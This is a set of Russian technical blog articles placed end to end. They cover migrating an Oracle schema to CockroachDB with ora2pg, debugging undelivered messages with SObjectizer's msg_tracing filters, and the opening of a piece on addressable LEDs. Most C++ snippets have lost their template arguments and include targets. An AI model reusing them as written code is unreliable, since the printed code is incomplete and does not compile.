ни с чем; * простота настройки, отсутствие сложных decoupled-архитектур. Тут CockroachDB лидер: один бинарный файл, один конфигурационный файл, все изменения проходят либо в онлайне, либо с поочередной перезагрузкой узлов кластера. Подытоживая, CockroachDB на мой вкус однозначно наиболее зрелая распределенная SQL-СУБД на рынке. YDB основана на тех же принципах, но отстаёт в технологическом развитии на 3-4 года. Я крайне рад отечественной разработке в критически важной отрасли транзакционной обработки данных. К сожалению, все презентации Яндекса по YDB, которые я посетил на конференции HighLoad++, были призваны привлекать в Яндекс разработчиков сложными задачами, а не продвигать YDB как готовое решение. Зачем так сложно — распределенный SQL? -------------------------------------- Суммарная стоимость владения (Total Cost of Ownership) решений по повышению отказоустойчивости PostgreSQL заметно выше CockroachDB. С одной стороны, эти решения (Patroni, Corosync) бесплатные, с другой стороны нет никаких гарантий, что они всегда будут отрабатывать как надо. У нас были прецеденты того, что правильно настроенное решение по автоматическому переключению ролей БД с основной на резервную и обратно приводило к зависаниям и неработоспособности сервиса, чего в нашем случае мы себе позволить не могли. В то же время CockroachDB разворачивается в среде k8s из коробки с минимальными усилиями. Я считаю, за распределенным SQL будущее. Этой же точки зрения придерживаются такие технологические гиганты как Twitter, которые сделали CockroachDB базой для разработки по умолчанию. ![](https://habrastorage.org/r/w780q1/webt/hs/ub/ys/hsubysk7w-efqkbbxgebwifnwam.jpeg) Как развивались события ----------------------- Для первого запуска в промышленную эксплуатацию CockroachDB мы выбрали небольшой новый проект с крайне незначительной нагрузкой. Это позволило нам обкатать нюансы использования новой базы в наших CI/CD-потоках, придумать сценарии перехода на PostgreSQL в случае, если что-то сильно пойдет не так, и опробовать базовые преимущества проведения апгрейда БД и других операций планового обслуживания в онлайне без простоя. После успешного завершения предыдущего этапа мы нашли mission critical схему данных, которая в Oracle нам сильно мешала, и стали думать над ее переносом в CockroachDB. Подчеркну, что основной причиной для миграции этой БД из Oracle в CockroachDB была отказоустойчивость. Для миграции необходимо было решить следующие вопросы: * проверить синтаксис SQL-запросов на соответствие ANSI; * вынести хранимый код из PL/SQL в сервисы на Java/Kotlin; * правильно конвертировать схему данных; * выбрать подходящий способ переноса данных с учетом требований по доступности системы. Конечно же, в наших SQL-запросах нашлись не входящие в ANSI стандарт конструкции вида `"... and rownum <= X»` — и их пришлось переписать. Для подготовки работы бизнес-логики с разными БД у нас уже были запланированы отдельные реализации Java-классов, поэтому система могла спокойно работать как с Oracle, так и с CockroachDB, в зависимости от текущих настроек, поэтому объем работы на данном этапе был незначительный. Из-за характера доступа к данным у нас получилось провернуть перенос данных без остановки, переключив приложение в read-only режим на время синхронизации данных в обеих БД. Отказаться от хранимого кода тоже пришлось, однако триггеры, заполняющие столбцы стандартными значениями из последовательностей, оказалось возможным перенести на аналогичную конструкцию в синтаксисе CockroachDB, об этом ниже. Для конвертации схемы данных из Oracle в CockroachDB я выбрал утилиту с открытым исходным кодом [Ora2Pg](https://ora2pg.darold.net/) , до этого она была неоднократно проверена в задачах миграции с Oracle на PostgreSQL. Немножко деталей про использование ora2pg ----------------------------------------- Мы мигрировали БД в очень важной системе, но позволяющей в тех.окно остановить запись в базу на полчаса, провести работы по переносу данных, после чего просто переключить строку соединения к БД и включить режим добавления данных обратно. Мы проделали следующие шаги: **1.** Инсталлировали Perl, DBI, DBD:Oracle и ora2pg, каждый по соответствующей документации. **2.** Создали четыре файла конфигурации для ora2pg. Помимо параметров коннекта и конвертируемой схемы, в каждом из них были установлены параметры ``` DISABLE_SEQUENCE = 1 DROP_FKEY = 0 ``` Эти файлы конфигурации отличались параметром `TYPE`, установленном соответственно в ``` SEQUENCE TABLE VIEW COPY ``` **3.** Запуск утилиты ora2pg с этими параметрами сгенерировал 4 sql-файла. После этого определения внешних ключей были перенесены в 5-й файл, с нюансом того, что CockroachDB пока что не поддерживает инструкцию `DEFERRABLE` . ``` grep -v -i "FOREIGN KEY" table.sql > table1.sql grep -i FOREIGN table.sql| sed -e 's/NOT DEFERRABLE INITIALLY IMMEDIATE//g' > fk.sql mv table1.sql table.sql ``` **4.** Далее в определения таблиц мы внесли изменения, аналогичные триггерам для заполнения полей из sequence. Это достигается использованием синтаксиса "… default nextval('sequence')", см. ниже. Еще одной проблемой оказалось отсутствие прямых аналогов функциональных индексов. Нужно было сначала создать вычисляемый столбец по требуемой функции и индексировать уже его. С учетом вышесказанного про sequence, синтаксис создания таблицы выглядит примерно так: ``` CREATE TABLE some_table ( id bigint NOT NULL default nextval('some_sequence'), value varchar(300) NOT NULL, value_lower VARCHAR(300) NULL AS (lower(value)) STORED ) ``` После этого вычисляемый столбец можно индексировать: ``` CREATE UNIQUE INDEX some_uk2 ON some_table (id, value_lower); ``` **5.** Пришлось убрать из файлов инструкции set search\_path и обработчики ошибок. Далее я просто применил к базе CockroachDB файлы sequence.sql, table.sql и view.sql и получил требуемую структуру данных. Следующим шагом была раздача доступов к таблицам для учетных записей приложения. **6.** Заполнение таблиц CockroachDB большим количеством данных оказалось не самой тривиальной задачей, и быстрее всего оказалась команда PostgreSQL вида `COPY`. Для ее использования пришлось дополнительно инсталлировать клиентский драйвер psql, генерация файлов для команды `COPY` также производилась утилитой ora2pg. Можно было заморочиться с использованием команды IMPORT из csv-файла, однако по скорости и качеству в подходе с ora2pg лично меня всё устраивало, и csv-подход опробован не был. Вариант с генерацией команд INSERT оказался провальным, в какой-то момент после массовой вставки трёх тысяч строк этот процесс зависал. **7.**После этого из файла fk.sql были созданы внешние ключи. Это последний технический шаг в миграции БД. **8.** Провели тест работоспособности приложения с новой базой. **9.** После успешного теста мы просто заменили JDBC-строки подключения к БД на использование CockroachDB и включили режим read/write. **10.** Сценарий обратной миграции данных из CockroachDB в Oracle через генерацию INSERT был также отработан на 100%. Обычно такие сценарии не то что не тестируют, а даже не рассматривают, но наша система слишком важна для бизнеса, и эти риски нам нужно было отработать. Суммарно исследование методов миграции и подготовка к работам заняли неделю, изменения кода Java/Kotlin — два спринта одного разработчика, сами работы были полностью проведены от начала до конца за час. Объем перенесенных данных составлял порядка 10 млн строк, генерация скрипта переноса данных заняла 2 минуты, а вставлял этот скрипт данные в CockroachDB примерно 3 минуты. Если бы мы не укладывались в наше получасовое тех.окно в режиме read-only, то, скорее всего, мы бы использовали Oracle GoldenGate в связке с Kafka для промежуточной синхронизации данных между Oracle и CockroachDB. Что в итоге ----------- Прошло уже три месяца с момента миграции, полет нормальный, простоев система не испытывала. Мы планируем расширять этот опыт и добавить возможность разработчикам микросервисов разворачивать кластера CockroachDB в k8s. Мигрировать legacy приложения на CockroachDB мало оправдано с точки зрения трудозатрат. Замена СУБД — наиболее сложная задача рефакторинга, и лучше заранее позаботиться о совместимости ваших приложений с самыми перспективными разработками в этой области.
https://habr.com/ru/post/669208/
null
ru
null
# Когда акторный фреймворк превращается в «черный ящик» и что мы можем с этим сделать? Модель акторов — это хороший подход к решению некоторых типов задач. Готовый акторный фреймворк, особенно в случае языка C++, может очень сильно облегчить жизнь разработчика. С программиста снимается изрядная часть забот по управлению рабочими контекстами, организации очередей сообщений, контролю за временем жизни сообщений и т.д. Но, как говорится, ~~все хорошее в этой жизни либо противозаконно, либо аморально, либо ведет к ожирению~~ ничего не дается бесплатно. Одна из проблем использования готового (т.е. чужого) акторного фреймворка состоит в том, что иногда он превращается в «черный ящик». Ты видишь, что ты отдаешь в этот «черный ящик», ты видишь, что из него приходит (если вообще приходит). Но далеко не всегда понятно, как из первого получается второе… О чем речь? ----------- Одна из самых распространенных проблем, с которой сталкиваются разработчики при использовании [фреймворка SObjectizer](https://habrahabr.ru/post/304386/) — это неполучение отосланных сообщений. Т.е. сообщение отослано, но до получателя не дошло. Почему? А вот это уже интересный вопрос. Есть несколько основных причин, по которым отосланное сообщение до получателя не доходит: 1. Получателя просто не существует. Уже не существует или еще не существует не суть важно. Получатель мог быть когда мы вызываем send, но он может прекратить свое существование еще до того, как send завершит свою работу. Либо, вызывая send, мы думаем, что получатель уже существует, но на самом деле его еще не успели создать. 2. Получатель не подписался на сообщение. Вот тупо забыли сделать подписку на конкретное сообщение и все. Когда сообщение отсылается, то оно даже не доставляется нужному нам агенту, т.к. он на сообщение просто не подписан. Или, как вариант, по ошибке подписали получателя на сообщение из другого почтового ящика. 3. Получатель не подписался на сообщение в нужном состоянии. Например, у агента-получается есть три состояния, в которых он хочет обрабатывать сообщение. Но подписку сделали только для двух состояний, а про третье забыли. Если в момент прихода сообщения агент-получатель находится в этом третьем состоянии, то сообщение до получателя доставлено не будет. Есть и другие причины, но эти встречаются чаще всего. По нашим наблюдениям, причины №2 и №3 наиболее распространенные. И на эти грабли наступают все — и новички, и опытные пользователи SObjectizer-а. Даже мы сами, разработчики SObjectizer-а, регулярно совершаем эти глупые ошибки. Как это происходит? Да очень просто. ### Простой пример с неправильной подпиской Вот код простейшего примера, в котором агенты pinger и ponger обмениваются сигналами ping и pong через общий multi-producer/multi-consumer почтовый ящик: ``` #include // Сигналы, которыми будут обмениваться pinger и ponger. struct ping final : public so\_5::signal\_t {}; struct pong final : public so\_5::signal\_t {}; // Агент pinger, первым отсылает ping, затем отсылает ping в ответ на pong. class pinger final : public so\_5::agent\_t { // Почтовый ящик, через который будет происходить обмен сообщениями. const so\_5::mbox\_t mbox\_; public: // Конструктор получает почтовый ящик в качестве аргумента. pinger(context\_t ctx, so\_5::mbox\_t mbox) : so\_5::agent\_t{std::move(ctx)} , mbox\_{std::move(mbox)} { // Сразу подписываем агента на нужный сигнал. so\_subscribe(mbox\_).event([this](mhood\_t) { std::cout << "pong!" << std::endl; so\_5::send(mbox\_); }); } // В самом начале своей работы отсылаем первый сигнал ping. virtual void so\_evt\_start() override { so\_5::send(mbox\_); } }; // Агент ponger, только отвечает pong-ами в ответ на ping-и. class ponger final : public so\_5::agent\_t { // Почтовый ящик, через который будет происходить обмен сообщениями. const so\_5::mbox\_t mbox\_; public: // Конструктор получает почтовый ящик в качестве аргумента. ponger(context\_t ctx, so\_5::mbox\_t mbox) : so\_5::agent\_t{std::move(ctx)} , mbox\_{std::move(mbox)} { // Сразу подписываем агента на нужный сигнал. so\_subscribe\_self().event([this](mhood\_t) { std::cout << "ping!" << std::endl; so\_5::send(mbox\_); }); } }; int main() { // Запускаем SObjectizer с двумя агентами в рамках одной кооперации. so\_5::launch([](so\_5::environment\_t & env) { env.introduce\_coop([](so\_5::coop\_t & coop) { // Почтовый ящик, который потребуется агентам. const auto mbox = coop.environment().create\_mbox(); // Сами агенты. coop.make\_agent(mbox); coop.make\_agent(mbox); }); }); } ``` В этом простом коде есть маленькая ошибка, из-за которой при запуске примера мы не увидим печати сообщений ping/pong. Возможно, кто-то уже понял в чем дело. Но, вообще-то говоря, такие досадные ошибки обнаруживать не так-то и просто. Особенно когда имеешь дело не с примерами, [а с реальными агентами](http://eao197.blogspot.com.by/2016/05/progc14-sobjectizer.html), логика и реализация которых бывает значительно сложнее. Эффект «черного ящика» и что же с этим делать? ---------------------------------------------- В показанном выше примере мы столкнулись с тем, что SObjectizer для нас стал «черным ящиком». Мы какие-то управляющие воздействия ему выдаем, но нужного нам результата не случается. Но почему? В чем причина? Как докопаться до этой причины? И вот тут оказывается, что докопаться до причины не так-то и просто. Нужно как-то отлаживать наш небольшой пример, но как это сделать? Если мы пользуемся отладчиками, то можно поставить точки прерываний в нескольких местах. Например: 1. В методе pinger::so\_evt\_start() для того, чтобы убедиться, что первый send для ping-а вызывается. 2. В обработчике сигнала ping в агенте ponger-е для того, чтобы убедиться, что первый ping приходит и pong в ответ отсылается. Либо, если мы настоящие программисты и считаем, что отладчики — это для слабаков, то мы можем расставить отладочные печати в этих же местах. И вот проделав эти действия мы обнаружим, что so\_evt\_start() вызывается, первый send для ping-а отрабатывает, а вот обработчик для pong-а не вызывается. Но почему? Мы же сделали подписку в конструкторе… Тут как раз перед разработчиком, который использует SObjectizer, и появляется вопрос: «А как же заглянуть внутрь SObjectizer-а, чтобы понять, как именно происходит доставка сообщения?» Вопрос не самый простой. Поскольку, если программист решит протрассировать вызов send-а, то он, во-первых, попадет в дебри деталей реализации SObjectizer-а и вряд ли получит от этого удовольствие (хотя некоторые заглядывали и говорили, что ничего страшного не увидели, но можно ли им верить?). Во-вторых, и это самое главное, он поймет, что доставка сообщения состоит из двух частей. Первая часть — это постановка сообщения в очереди заявок для подписчиков. Вторая часть — это обслуживание конкретной заявки, которая извлекается из очереди конкретным диспетчером. И хорошо, если проблема обнаружится в первой части. Например, разработчик увидит, что для сообщения нет подписчиков и поэтому для сообщения никаких заявок не генерируется. А вот если заявки сгенерировались, но затем не произошел вызов обработчика, то придется тогда программисту погружаться еще глубже в потроха SObjectizer-а. И там-то он может обнаружить, что в SObjectizer-е есть разные диспетчеры, некоторые очень специфические, работающие не так, как другие, и найти место, где из очереди извлекается и анализируется очередная заявка, не так-то и просто. В общем, если кто-то захочет отладчиком пройтись по механизму доставки сообщений в SObjectizer-е, то этому человеку можно будет только пожелать удачи. Поскольку мы сами не большие любители такого времяпрепровождения. Ну а есть ли какая-нибудь альтернатива? Есть. Это [механизм, который официально называется message delivery tracing](https://sourceforge.net/p/sobjectizer/wiki/so-5.5%20In-depth%20-%20Message%20Delivery%20Tracing/) (или msg\_tracing для простоты). Он был добавлен в SObjectizer-5 два с половиной года назад. Но, вероятно, мало кто о нем наслышан, хотя мы сами пользуемся им постоянно. Механизм msg\_tracing --------------------- При запуске SObjectizer-а можно включить механизм msg\_tracing. Если он включен, то SObjectizer будет формировать текстовые сообщения, описывающие процесс доставки и обработки сообщений. Эти сообщения будут передаваться специальному объекту-tracer-у. Задачей tracer-а является сохранение или какая-либо другая обработка trace-сообщений. Пользователь может либо сам реализовать собственный tracer, либо же может воспользоваться одним из готовых tracer-ов из SObjectizer-а. Давайте расширим показанный выше пример включением msg\_tracing-а и посмотрим, что у нас получится. Итак, включаем msg\_tracing и указываем, что все trace-сообщения должны отображаться на стандартный поток вывода: ``` int main() { // Запускаем SObjectizer с двумя агентами в рамках одной кооперации. so_5::launch([](so_5::environment_t & env) { env.introduce_coop([](so_5::coop_t & coop) { // Почтовый ящик, который потребуется агентам. const auto mbox = coop.environment().create_mbox(); // Сами агенты. coop.make_agent(mbox); coop.make\_agent(mbox); }); }, [](so\_5::environment\_params\_t & params) { // Разрешаем трассировку механизма доставки сообщений. // Направляем трассировочные сообщения на стандартый поток вывода. params.message\_delivery\_tracer(so\_5::msg\_tracing::std\_cout\_tracer()); }); } ``` Запускаем модифицированный пример и получаем что-то вроде: ``` [tid=13728][mbox_id=5] deliver_message.no_subscribers [msg_type=struct ping][signal][overlimit_deep=1] ``` Эта запись говорит о том, что происходит операция deliver\_message. При этом обнаружена ситуация, когда для сигнала типа ping, который отсылается в почтовый ящик с таким-то идентификатором, нет подписчиков. Итак, мы видим, что сообщение отсылается в почтовый ящик, но на него него никто не подписан. Но как так, мы же сделали подписку, вот же она: ``` // Сразу подписываем агента на нужный сигнал. so_subscribe_self().event([this](mhood_t) { std::cout << "ping!" << std::endl; so\_5::send(mbox\_); }); ``` И вот тут мы уже можем увидеть, что подписку-то мы сделали, но совсем не на тот mbox. Нам нужно было вызвать so\_subscribe(mbox\_), а мы вызвали so\_subscribe\_self(). Досадная ошибка, которая совершается с завидной регулярностью. Механизм msg\_tracing позволил нам быстро разобраться с проблемой, не погружаясь с отладчиком в потроха SObjectizer-а. ### msg\_tracing — это отладочный механизм Самая важная вещь, про которую нужно помнить, — это то, что msg\_tracing является отладочным, вспомогательным механизмом. Он создан для того, чтобы помогать разработчику с отладкой разрабатываемых на базе SObjectizer-а приложений. В частности, с msg\_tracing-ом связаны дополнительные накладные расходы, серьезно удорожающие отсылку и получение сообщений. Именно поэтому msg\_tracing нужно включать явно, делается это всего один раз и только перед стартом SObjectizer-а. Нельзя отключить msg\_tracing после того, как SObjectizer был запущен со включенным msg\_tracing-ом. Все настолько серьезно, что при включенном msg\_tracing-е внутри SObjectizer-а используются другие структуры данных, содержащие в себе и дополнительные данные, и дополнительный код. Так, внутри SObjectizer-а при включении msg\_tracing-а создаются другие типы mbox-ов. Поэтому msg\_tracing следует рассматривать как вспомогательный инструмент для отладки SObjectizer-приложений. И не стоит строить на его базе какие-то средства, которые должны будут работать в продакшене. Текущее состояние механизма msg\_tracing: его недостатки и возможные решения ---------------------------------------------------------------------------- Механизм msg\_tracing был добавлен в версию 5.5.9 в октябре 2015-го года. Уже тогда было понятно, что сам этот механизм находится в зачаточном состоянии. Нужно было с чего-то начинать, нужно было получить что-то работающее, что можно было бы попробовать на практике, накопить опыт и понять, куда двигаться дальше. За прошедшее время в существующем механизме msg\_tracing было выявлено два серьезных просчета/недостатка. ### Нет фильтрации trace-сообщений Если при старте SObjectizer-а был включен msg\_tracing, то SObjectizer создавал текстовые trace-сообщения для всех связанных с доставкой сообщений операций и передавал эти сообщения объекту-tracer-у. Это не представляет проблемы, когда msg\_tracing используется для отладки небольшого приложения, примера или теста. Но если попробовать использовать msg\_tracing в большом приложении с сотнями агентов внутри, которые обмениваются миллионами сообщений, то это проблема. Т.к. нужно каким-то образом отфильтровывать ненужные программисту trace-сообщения, а делать это с текстовыми trace-сообщениями не так-то просто. Соответственно, время от времени заходили разговоры о том, чтобы дать пользователю SObjectizer-а возможность фильтровать trace-сообщения перед тем, как они будут переданы в tracer. Причем фильтр должен иметь дело не с окончательно сформированным текстовым сообщением, а с теми данными, которые затем преобразуются в текст. ### Нет возможности управлять потоком trace-сообщений Иногда хотелось бы запустить SObjectizer с заблокированными trace-сообщениями, а затем, в какой-то момент времени, «открыть краник» и разрешить trace-сообщениям попадать в tracer. А потом «перекрыть краник». Соответственно, так же время от времени возникали разговоры о том, чтобы msg\_tracing можно было включать и выключать в процессе работы SObjectizer-а. Хотя сложность здесь была в том, что при своем старте SObjectizer уже должен знать, что разработчик хочет иметь msg\_tracing. В этом случае SObjectizer будет создавать другие типы mbox-ов и будет использовать другие методы доставки сообщений (с трассировкой происходящего). Грядущая модификация msg\_tracing в версии 5.5.22 ------------------------------------------------- На днях мы зафиксировали первую альфу новой версии SObjectizer-а. В ней реализовано расширение механизма msg\_tracing. Было добавлено понятие фильтра для trace-сообщений. Фильтр опционален. Если фильтр назначен, то прежде чем сформировать текстовое trace-сообщение, SObjectizer сперва спрашивает у фильтра, нужно ли разрешать дальнейшую обработку текущего trace-сообщения. Если фильтр говорит, что «да, можно», то формируется текстовое trace-сообщение и оно отдается объекту-tracer-у. Если же фильтр отвечает «нет, нельзя», то trace-сообщение не формируется и никуда не уходит. Если же фильтра нет, то SObjectizer работает как раньше: текстовое trace-сообщение формируется и отдается объекту-tracer-у. Т.е. если программист не знает про фильтры или не хочет использовать фильтры, то механизм msg\_tracing у него работает как раньше. Кроме того, SObjectizer в версии 5.5.22 позволяет задавать и удалять msg\_tracing-фильтры в процессе своей работы. ### Пример использования msg\_tracing-фильтров в версии 5.5.22 Для демонстрации новых возможностей механизма msg\_tracing возьмем следующий пример. Есть два агента, которые работают практически одинаково. У них есть три состояния: first, second и third. В каждом из своих состояний агенты должны реагировать на два типа сообщений. По сообщению change\_state нужно перейти в следующее состояние (т.е. из first в second, из second в third, из third в first). Если же приходит сообщение tick, то нужно, чтобы агент просто на него среагировал. Какова будет реакция — не важно. Разница между первым и вторым агентом будет заключаться в том, что первый агент реагирует на сообщение tick в каждом из своих состояний. А вот второй агент подписаться на сообщение tick в состоянии second забыл. Соответственно, второй агент будет терять сообщения tick когда он находится в состоянии second. Вот именно эти потери мы и хотим обнаруживать с помощью механизма msg\_tracing-а. Для этого нам потребуется установить trace-фильтр следующего вида: ``` // Включаем трассировку тех сообщений, для который не // найден метод-обработчик у подписчика. Это говорит о том, // что агент не подписан в своем текущем состоянии. so_environment().change_message_delivery_tracer_filter( so_5::msg_tracing::make_filter( [](const so_5::msg_tracing::trace_data_t & td) { // Пытаемся получить информацию об обработчике сообщения. const auto handler_ptr = td.event_handler_data_ptr(); if(handler_ptr) { // Эта информация в trace-сообщении есть. // Теперь можно посмотреть, найден ли сам обработчик. if(nullptr == *handler_ptr) // Обработчик не найден. Это именно та ситуация, // которую мы ждем. Trace-сообщение можно разрешить. return true; } // Во всех остальных случаях блокируем trace-сообщение. return false; })); ``` Выглядит это, наверное, страшно. Но давайте попробуем разобраться. Метод change\_message\_delivery\_tracer\_filter() позволяет заменить trace-фильтр в процессе работы SObjectizer-а. Вспомогательная функция make\_filter создает объект нужного SObjectizer-у типа из лямбда-функции. В эту лямбда функцию передается единственный аргумент — ссылка на интерфейс trace\_data\_t, из которого фильтр может извлекать относящиеся к trace-сообщению данные. В данном конкретном случае мы вызываем у trace\_data\_t единственный метод event\_handler\_data\_ptr(). Данный метод возвращает optional. Соответственно, внутри optional может либо быть указатель, либо нет. Если указателя нет, то значит trace-сообщение нам не интересно, т.к. оно не относится к поиску обработчика сообщения. Если же указатель есть, но он нулевой, то это именно тот случай, который мы ждем: SObjectizer попытался найти обработчик для сообщения, но ничего не нашел. В этом и только в этом случае мы разрешаем trace-сообщение. Если мы запустим этот пример, то увидим, что на консоли периодически возникают такие сообщения: ``` [tid=11880][agent_ptr=0x23be91d7cb0] demand_handler_on_message.find_handler [mbox_id=6][msg_type=struct base::tick][signal][state=second][evt_handler=NONE] [tid=11880][agent_ptr=0x23be91d7cb0] demand_handler_on_message.find_handler [mbox_id=6][msg_type=struct base::tick][signal][state=second][evt_handler=NONE] [tid=11880][agent_ptr=0x23be91d7cb0] demand_handler_on_message.find_handler [mbox_id=6][msg_type=struct base::tick][signal][state=second][evt_handler=NONE] [tid=11880][agent_ptr=0x23be91d7cb0] demand_handler_on_message.find_handler [mbox_id=6][msg_type=struct base::tick][signal][state=second][evt_handler=NONE] ``` Причем они то печаются, то не печатаются. Это потому, что у нас есть агент trace\_controller, который то «включает» поток trace-сообщений, то «отключает» его. **Для интересующихся вот полный код примера** ``` #include // Базовый класс для агентов примера. class base : public so\_5::agent\_t { protected: // Периодический сигнал, который агент должен обрабатывать // в каждом из своих состояний. struct tick final : public so\_5::signal\_t {}; // Периодический сигнал для смены состояния агента. struct change\_state final : public so\_5::signal\_t {}; // Состояния, в которых может находится агент. state\_t st\_first{this, "first"}, st\_second{this, "second"}, st\_third{this, "third"}; // Идентификаторы периодических сообщений. Мы должны их сохранить, // чтобы периодические сообщения не перестали приходить. so\_5::timer\_id\_t tick\_timer\_; so\_5::timer\_id\_t change\_state\_timer\_; public: base(context\_t ctx) : so\_5::agent\_t{std::move(ctx)} {} // Общая часть инициализации всех агентов. virtual void so\_define\_agent() override { // Меняем начальное состояние. this >>= st\_first; // Подписываемся на change\_state для перехода в следующее состояние. st\_first.event([this](mhood\_t) { this >>= st\_second; }); st\_second.event([this](mhood\_t) { this >>= st\_third; }); st\_third.event([this](mhood\_t) { this >>= st\_first; }); } // Начальные действия, одинаковые для всех агентов. virtual void so\_evt\_start() override { using namespace std::chrono\_literals; // Заставляем агента менять состояние каждые 250ms. change\_state\_timer\_ = so\_5::send\_periodic(\*this, 250ms, 250ms); // Заставляем приходить сообщение tick. tick\_timer\_ = so\_5::send\_periodic(\*this, 0ms, 100ms); } }; // Первый агент, который обрабатывает сигналы tick во всех своих состояниях. class first\_agent final : public base { public: using base::base; virtual void so\_define\_agent() override { base::so\_define\_agent(); // Добавляем недостающие подписки. so\_subscribe\_self() .in(st\_first).in(st\_second).in(st\_third) .event([](mhood\_t){}); } }; // Второй агент, который не подписывается на tick в st\_second. class second\_agent final : public base { public: using base::base; virtual void so\_define\_agent() override { base::so\_define\_agent(); // Добавляем недостающие подписки. so\_subscribe\_self() .in(st\_first).in(st\_third) .event([](mhood\_t){}); } }; // Агент, который будет время от времени "включать" и "выключать" поток // интересующих нас trace-сообщений. class trace\_controller final : public so\_5::agent\_t { // Сигнал для включения/выключения. struct on\_off final : public so\_5::signal\_t {}; // Состояния, в которых может находится этот агент. state\_t st\_on{this}, st\_off{this}; // Таймер для сигнала on\_off. so\_5::timer\_id\_t timer\_; public: trace\_controller(context\_t ctx) : so\_5::agent\_t{std::move(ctx)} { st\_off.event([this](mhood\_t) { // Меняем состояние. this >>= st\_on; // Включаем трассировку тех сообщений, для который не // найден метод-обработчик у подписчика. Это говорит о том, // что агент не подписан в своем текущем состоянии. so\_environment().change\_message\_delivery\_tracer\_filter( so\_5::msg\_tracing::make\_filter( [](const so\_5::msg\_tracing::trace\_data\_t & td) { // Пытаемся получить информацию об обработчике сообщения. const auto handler\_ptr = td.event\_handler\_data\_ptr(); if(handler\_ptr) { // Эта информация в trace-сообщении есть. // Теперь можно посмотреть, найден ли сам обработчик. if(nullptr == \*handler\_ptr) // Обработчик не найден. Это именно та ситуация, // которую мы ждем. Trace-сообщение можно разрешить. return true; } // Во всех остальных случаях блокируем trace-сообщение. return false; })); }); st\_on.event([this](mhood\_t) { // Меняем состояние. this >>= st\_off; // Выключаем трассировку. so\_environment().change\_message\_delivery\_tracer\_filter( // Этот фильтр будет запрещать вообще все trace-сообщения. so\_5::msg\_tracing::make\_disable\_all\_filter()); }); this >>= st\_off; } virtual void so\_evt\_start() override { using namespace std::chrono\_literals; timer\_ = so\_5::send\_periodic(\*this, 0ms, 1500ms); } }; int main() { // Запускаем SObjectizer с двумя агентами в рамках одной кооперации. so\_5::launch([](so\_5::environment\_t & env) { env.introduce\_coop([](so\_5::coop\_t & coop) { // В пример будут входить по одному агенту типа // first\_agent и second\_agent. coop.make\_agent(); coop.make\_agent(); // А так же агент, который будет периодически включать и // выключать поток trace-сообщений. coop.make\_agent(); }); }, [](so\_5::environment\_params\_t & params) { // Разрешаем трассировку механизма доставки сообщений. // Направляем трассировочные сообщения на стандартый поток вывода. params.message\_delivery\_tracer(so\_5::msg\_tracing::std\_cout\_tracer()); // Блокируем все trace-сообщения до тех пор, пока это не потребуется. params.message\_delivery\_tracer\_filter( so\_5::msg\_tracing::make\_disable\_all\_filter()); }); } ``` ### Что сейчас доступно через trace\_data\_t? На данный момент интерфейс trace\_data\_t определен следующим образом: ``` class trace_data_t { ... public : // Получить ID рабочей нити, на которой выполняется действие. virtual optional tid() const noexcept = 0; // Получить информацию о типе сообщения, к которому относится действие. virtual optional msg\_type() const noexcept = 0; // Получить информацию о том, из какого источника поступило сообщение. virtual optional msg\_source() const noexcept = 0; // Указатель на агента-получателя, которому адресуется сообщение. virtual optional agent() const noexcept = 0; // Является ли сообщение обычным сообщением или же сигналом. virtual optional message\_or\_signal() const noexcept = 0; // Получить информацию о самом экземпляре сообщения. virtual optional message\_instance\_info() const noexcept = 0; // Получить текстовое описание выполняемого действия. virtual optional compound\_action() const noexcept = 0; // Получить указатель на описание обработчика сообщения у подписчика. // Этот указатель будет нулевым, если в текущем состоянии нет // подписки на пришедшее сообщение. virtual optional event\_handler\_data\_ptr() const noexcept = 0; }; ``` Нужно особенно подчеркнуть, что далеко не всегда для trace-сообщения будет доступна вся эта информация. Например, если сообщение передано почтовому ящику для распределения по подписчикам, то event\_handler\_data\_ptr() будет возвращать пустой optional. Если у почтового ящика нет подписчиков на данный тип сообщения, то и метод agent() будет возвращать пустой optional. Зачем все это было описано? --------------------------- Данная статья была написана для того, чтобы дать возможность тем заинтересованным разработчикам заранее узнать о том, что их ждет в очередной версии SObjectizer-а. Соответственно, они могут ознакомиться с предлагаемыми нововведениям, могут пощупать их, составить свое впечатление и высказать свое «Фи», если что-то не понравилось ([so-5.5.22-alpha1](https://sourceforge.net/projects/sobjectizer/files/sobjectizer/SObjectizer%20Core%20v.5.5/so-5.5.22-alpha1.zip) доступна для загрузки, так же обновлено и [зеркало на github-е](https://github.com/eao197/so-5-5)). Ну а мы, соответственно, получим возможность понять, что и как следует улучшить еще до фиксации окончательной версии 5.5.22. Для нас это важно, поскольку у нас есть заскок на тему сохранения совместимости между версиями и мы очень не любим ломать эту самую совместимость. Так что если кому-то интересна эта тема, то пожалуйста, высказывайтесь в комментариях. Постараемся прислушиваться к конструктивным соображениям. PS. Примеры, использованные в данной статье, можно найти [в этом репозитории](https://bitbucket.org/sobjectizerteam/so5_msg_tracing_demo_ru). PPS. У нас так же были планы сделать в версии 5.5.22 более [расширенный вариант сбора статистики о времени работы обработчиков событий](http://eao197.blogspot.com/2018/03/progc-sobjectizer.html). Но, если никакого дополнительного фидбэка на эту тему мы не получим, то приоритет данной задачи будет понижен и, скорее всего, в релиз 5.5.22 она уже не попадет.
https://habr.com/ru/post/352176/
null
ru
null
# Raspbery Pi Pico для управления адресуемыми светодиодами ![](https://habrastorage.org/r/w780q1/webt/65/ut/lw/65utlwa-_8zny_cb5me0avlvub8.jpeg) Если вам нужно сделать гирлянду, где переливается десяток-сотня светодиодов, то эта статья будет вам мало полезна. А вот если у вас несколько десятков тысяч светодиодов и вы еще собираетесь показывать кино с их помощью — тогда вам эта информация определенно сгодится. Тем более, что других источников вы, скорее всего, просто не найдете. Для начала — объект управления. Уже всем набившие оскомину адресуемые светодиоды, которых уже очень много разных типов. Чисто китайская разработка, все остальное, если и имеется — дешевые подделки. ![](https://habrastorage.org/r/w780q1/webt/sy/6r/ya/sy6rya7olklhhmxl0g7iehgs1qy.jpeg) Много лет назад Nokia мечтала получить светодиоды с интеллектуальным управлением. Со светодиодами тогда не срослось, но кое-что она получила — это была микросхема LP5521, которая потребляя очень мало энергии, моргала светодиодиком по программе внутри, не требуя никакого внимания со стороны основного процессора телефона. В итоге почти все производители телефонов ставили такую микросхему и она побила все рекорды продаж. Года за 2-3 было продано 100 миллионов микросхем. National Semiconductors разработчикам с таких барышей даже по кофточке выдал :) ![](https://habrastorage.org/r/w780q1/webt/p9/ng/tf/p9ngtfritj9ltaqwgh1n4kpc2cg.jpeg) Кофточка, кстати, оказалась очень хорошей — теплая и уютная. Супруга ее оценила и тут же отжала, несмотря на то, что ей она сильно великовата. Если помните, во многих телефонах в дежурном 